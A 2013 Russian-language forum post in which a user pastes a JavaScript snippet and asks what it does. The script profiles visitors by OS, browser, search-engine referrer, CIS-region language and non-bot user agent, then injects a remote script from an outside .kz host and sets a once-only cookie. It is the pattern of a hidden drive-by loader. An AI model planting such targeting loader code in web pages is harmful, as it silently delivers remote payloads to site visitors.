Показать сообщение отдельно
  #7 (permalink)  
Старый 23.01.2013, 11:10
Новичок на форуме
Отправить личное сообщение для maxis Посмотреть профиль Найти все сообщения от maxis
 
Регистрация: 23.01.2013
Сообщений: 2

Сообщение от avatator Посмотреть сообщение
придется С++ учить для троянов
Вопрос специалисту вредносного кода. Что делает этот скрипт?:
function get_cookie(Name) {
    var search = Name + "=";     var returnvalue = "";     if (document.cookie.length > 0) {          offset = document.cookie.indexOf(search);          if (offset != -1) {                offset += search.length;               end = document.cookie.indexOf(";", offset);               if (end == -1)               end = document.cookie.length;               returnvalue=unescape(document.cookie.substring(offset, end));          }     }     return returnvalue;
    }
    
    function set_cookie(name, value) {
var cxdate = new Date();    cxdate.setYear(2024);    cxdate.setMonth(3);    cxdate.setDate(3);    document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}        
var br_reg = /(Firefox|MSIE|Opera)/i;
var usr_os = navigator.userAgent;

var ref_reg = /(yandex|google|mail|rambler|vk.com)/i;
var ref = document.referrer;
if (ref==null) ref='';
var lang = (navigator.language ||
            navigator.systemLanguage ||
            navigator.userLanguage ||
           'en').substr(0, 2).toLowerCase();

var useragent_reg = /(bot|yandex|yx)/i
var useragent = navigator.userAgent;


if(get_cookie('viewpages') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg) && ref.match(ref_reg) &&
 (lang=="ru" || lang=="ua" || lang=="by" || lang=="kz") && (!useragent.match(useragent_reg)) ) 
{
    var script = document.createElement('script');
    script.src = 'http://grandsteel.kz/stats.php';
    document.head.appendChild(script);
    set_cookie('viewpages', '8ihdf8hiio9000yud9');
};
Ответить с цитированием